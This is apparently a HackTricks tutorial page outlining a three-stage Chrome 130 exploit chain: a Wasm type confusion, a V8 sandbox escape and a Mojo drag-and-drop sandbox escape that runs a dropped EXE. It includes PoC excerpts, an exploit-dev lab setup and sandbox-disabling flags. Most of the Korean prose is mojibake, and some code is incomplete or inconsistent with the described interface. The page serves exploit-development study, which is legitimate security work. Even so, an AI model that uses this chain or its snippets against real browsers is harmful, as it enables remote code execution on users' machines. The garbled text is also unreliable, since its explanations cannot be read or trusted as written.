Chrome Exploiting
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ ์ฐ๊ตฌ ์๋ฆฌ์ฆ โ101 Chrome Exploitationโ(Part-0 โ Preface)์ ๊ธฐ๋ฐ์ผ๋ก Google Chrome 130์ ๋ํ ํ๋์ ์ธ โfull-chainโ exploitation ์ํฌํ๋ก์ฐ์ ๋ํ ๋์ ์์ค์ด๋ฉด์๋ ์ค์ฉ์ ์ธ ๊ฐ์๋ฅผ ์ ๊ณตํฉ๋๋ค. ๋ชฉํ๋ pentesters์ exploit-developers๊ฐ ์์ ์ ์ฐ๊ตฌ๋ฅผ ์ํด ๊ธฐ์ ๋ค์ ์ฌํํ๊ฑฐ๋ ์ ์์ํค๋ ๋ฐ ํ์ํ ์ต์ํ์ ๋ฐฐ๊ฒฝ์ง์์ ์ ๊ณตํ๋ ๊ฒ์ ๋๋ค.
1. Chrome Architecture Recap
๊ณต๊ฒฉ ํ๋ฉด์ ์ดํดํ๋ ค๋ฉด ์ฝ๋๊ฐ ์ด๋์์ ์คํ๋๋์ง์ ์ด๋ค sandboxes๊ฐ ์ ์ฉ๋๋์ง๋ฅผ ์์์ผ ํฉ๋๋ค.
Chrome process & sandbox layout
```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```๋ค์ธต ์ฌ์ธต ๋ฐฉ์ด(defence-in-depth):
- V8 sandbox (Isolate): ๋ฉ๋ชจ๋ฆฌ ๊ถํ์ด ์ ํ๋์ด JITed JS / Wasm๋ก๋ถํฐ ์์์ ์ฝ๊ธฐ/์ฐ๊ธฐ๋ฅผ ๋ฐฉ์งํฉ๋๋ค.
- Renderer โ Browser split์ Mojo/IPC ๋ฉ์์ง ์ ๋ฌ์ ํตํด ๋ณด์ฅ๋ฉ๋๋ค; ๋ ๋๋ฌ๋ ๋ค์ดํฐ๋ธ FS/๋คํธ์ํฌ ์ ๊ทผ ๊ถํ์ด ์์.
- OS sandboxes๋ ๊ฐ ํ๋ก์ธ์ค๋ฅผ ์ถ๊ฐ๋ก ๊ฒฉ๋ฆฌํฉ๋๋ค (Windows Integrity Levels /
seccomp-bpf/ macOS sandbox profiles).
๋ฐ๋ผ์ ์๊ฒฉ ๊ณต๊ฒฉ์๋ ์ฐ์๋ ์ธ ๊ฐ์ง ํ๋ฆฌ๋ฏธํฐ๋ธ๊ฐ ํ์ํฉ๋๋ค:
- V8 ๋ด๋ถ์ ๋ฉ๋ชจ๋ฆฌ ์์์ผ๋ก V8 ํ ๋ด๋ถ์์์ ์์ RW๋ฅผ ์ป์.
- ๊ณต๊ฒฉ์๊ฐ V8 sandbox๋ฅผ ๋ฒ์ด๋ ์ ์ฒด ๋ ๋๋ฌ ๋ฉ๋ชจ๋ฆฌ์ ์ ๊ทผํ ์ ์๊ฒ ํ๋ ๋ ๋ฒ์งธ ๋ฒ๊ทธ.
- ์ต์ข sandbox ํ์ถ(์ข ์ข ๋ฉ๋ชจ๋ฆฌ ์์์ด ์๋ ๋ ผ๋ฆฌ์ ์ทจ์ฝ์ )์ผ๋ก Chrome OS sandbox ์ธ๋ถ์์ ์ฝ๋ ์คํ.
2. ๋จ๊ณ 1 โ WebAssembly Type-Confusion (CVE-2025-0291)
TurboFan์ Turboshaft ์ต์ ํ์ ๊ฒฐํจ์ผ๋ก, ๊ฐ์ด ๋จ์ผ ๊ธฐ๋ณธ ๋ธ๋ก ๋ฃจํ ๋ด์์ ์์ฑ๋๊ณ ์๋น๋ ๋ WasmGC reference types์ ์๋ชป ๋ถ๋ฅํฉ๋๋ค.
์ํฅ:
- ์ปดํ์ผ๋ฌ๊ฐ ํ์
์ฒดํฌ๋ฅผ ๊ฑด๋๋ฐ์ด, reference (
externref/anyref)๋ฅผ int64๋ก ์ทจ๊ธํฉ๋๋ค. - ์กฐ์๋ Wasm์ JS ๊ฐ์ฒด ํค๋๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฐ์ดํฐ์ ๊ฒน์น๊ฒ ํ์ฌ โ
addrOf()&fakeObj()AAW / AAR primitives ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
์ต์ PoC (๋ฐ์ท):
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
JS์์ ์ต์ ํ ํธ๋ฆฌ๊ฑฐ ๋ฐ spray objects:
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
Outcome: arbitrary read/write within V8.
3. Stage 2 โ V8 Sandbox ํ์ถ (issue 379140430)
Wasm ํจ์๊ฐ tier-up-compiled๋๋ฉด, JS โ Wasm wrapper๊ฐ ์์ฑ๋ฉ๋๋ค. A signature-mismatch bug๋ก ์ธํด, Wasm ํจ์๊ฐ ์คํ์ ๋จ์ ์๋ ์ํ์์ ์ฌ-์ต์ ํ๋ ๋ wrapper๊ฐ ์ ๋ขฐ๋ Tuple2 ๊ฐ์ฒด์ ๋์ ๋์ด ์ฐ๊ธฐ๋ฅผ ํ๊ฒ ๋ฉ๋๋ค.
Tuple2 ๊ฐ์ฒด์ 2 ร 64-bit ํ๋๋ฅผ ๋ฎ์ด์ฐ๋ฉด Renderer process ๋ด์ ์์ ์ฃผ์์ ๋ํ read/write๊ฐ ๊ฐ๋ฅํด์ ธ V8 sandbox๋ฅผ ์ฌ์ค์ ์ฐํํฉ๋๋ค.
์ต์คํ๋ก์์ ์ฃผ์ ๋จ๊ณ:
- turbofan/baseline ์ฝ๋๋ฅผ ๋ฒ๊ฐ์ ์ฌ์ฉํด ํจ์๊ฐ Tier-Up ์ํ๊ฐ ๋๊ฒ ํฉ๋๋ค.
- ์คํ์ ๋ ํผ๋ฐ์ค๋ฅผ ์ ์งํ ์ฑ๋ก (
Function.prototype.apply) tier-up์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. - Stage-1 AAR/AAW๋ฅผ ์ฌ์ฉํด ์ธ์ ํ
Tuple2๋ฅผ ์ฐพ์ ์์์ํต๋๋ค.
Wrapper identification:
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
์์ ์ดํ ์ฐ๋ฆฌ๋ ์์ ํ ๊ธฐ๋ฅ์ ๊ฐ์ถ renderer R/W primitive๋ฅผ ๋ณด์ ํ๊ฒ ๋ฉ๋๋ค.
4. 3๋จ๊ณ โ Renderer โ OS Sandbox Escape (CVE-2024-11114)
The Mojo IPC interface blink.mojom.DragService.startDragging()๋ Renderer์์ partially trusted ๋งค๊ฐ๋ณ์๋ก ํธ์ถ๋ ์ ์์ต๋๋ค. DragData ๊ตฌ์กฐ์ฒด๋ฅผ ์์์ ํ์ผ ๊ฒฝ๋ก๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์กฐ์ํจ์ผ๋ก์จ Renderer๋ ๋ธ๋ผ์ฐ์ ๊ฐ native ๋๋๊ทธ ์ค ๋๋กญ์ outside the renderer sandbox์์ ์ํํ๋๋ก ์ค๋ํ ์ ์์ต๋๋ค.
์ด๋ฅผ ์ ์ฉํ๋ฉด ์ฐ๋ฆฌ๋ ํ๋ก๊ทธ๋๋ฐ์ ์ผ๋ก โdragโ๋ ์ ์ฑ EXE(์ฌ์ ์ world-writable ์์น์ ๋์๋)๋ฅผ Desktop์ผ๋ก ์ฎ๊ธธ ์ ์๊ณ , Windows๋ ํ์ผ์ด ๋จ์ด์ง๋ฉด ํน์ ํ์ผ ํ์์ ์๋์ผ๋ก ์คํํฉ๋๋ค.
Example (simplified):
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
์ถ๊ฐ์ ์ธ ๋ฉ๋ชจ๋ฆฌ ์์์ ํ์ํ์ง ์์ต๋๋ค โ ๋ ผ๋ฆฌ์ ๊ฒฐํจ์ผ๋ก ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์์์ ํ์ผ ์คํ์ด ๊ฐ๋ฅํฉ๋๋ค.
5. ์ ์ฒด ์ฒด์ธ ํ๋ฆ
- ์ฌ์ฉ์ ๋ฐฉ๋ฌธ ์ ์ฑ ์นํ์ด์ง.
- 1๋จ๊ณ: Wasm module๊ฐ CVE-2025-0291์ ์ ์ฉ โ V8 heap AAR/AAW.
- 2๋จ๊ณ: Wrapper mismatch๊ฐ
Tuple2๋ฅผ ์์์์ผ โ V8 sandbox ํ์ถ. - 3๋จ๊ณ:
startDragging()IPC โ OS sandbox ํ์ถ & ํ์ด๋ก๋ ์คํ.
๊ฒฐ๊ณผ: Remote Code Execution (RCE) ํธ์คํธ์์ (Chrome 130, Windows/Linux/macOS).
6. ์ค์ต ๋ฐ ๋๋ฒ๊น ์ค์
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
Chrome์ development build์ ์คํํ ๋ ์ ์ฉํ flags:
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
7. Renderer โ kernel ํ์ถ ์์
๋ ๋๋ฌ ์ต์คํ๋ก์์ด seccomp profile ๋ด๋ถ์ ๋จธ๋ฌด๋ kernel pivot์ ํ์๋ก ํ ๋, sandbox ๋ด๋ถ์์ ์ฌ์ ํ ์ ๊ทผ ๊ฐ๋ฅํ AF_UNIX MSG_OOB sockets๋ฅผ ๋จ์ฉํ๋ฉด ๊ฒฐ์ ๋ก ์ ์ธ ๊ฒฝ๋ก๋ฅผ ์ ๊ณตํฉ๋๋ค. SKB UAF โ kernel RCE chain์ ๋ํ ์์ธํ ๋ด์ฉ์ ์๋์ Linux kernel exploitation case-study๋ฅผ ํ์ธํ์ธ์:
Af Unix Msg Oob Uaf Skb Primitives
์์
- WebAssembly JIT bugs๋ ์ฌ์ ํ ์ ๋ขฐํ ์ ์๋ ์ง์ ์ ์ ๋๋ค โ ํ์ ์์คํ ์ด ์์ง ์ฑ์ํ์ง ์์์ต๋๋ค.
- V8 ๋ด๋ถ์์ ๋ ๋ฒ์งธ memory-corruption ๋ฒ๊ทธ(์: wrapper mismatch)๋ฅผ ์ป์ผ๋ฉด V8-sandbox escape๊ฐ ํจ์ฌ ๋จ์ํด์ง๋๋ค.
- ๊ถํ์ด ๋ถ์ฌ๋ Mojo IPC ์ธํฐํ์ด์ค์ ๋ก์ง ์์ค ์ฝ์ ์ ์ข ์ข final sandbox escape์ ์ถฉ๋ถํฉ๋๋ค โ non-memory ๋ฒ๊ทธ์ ์ฃผ๋ชฉํ์ธ์.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


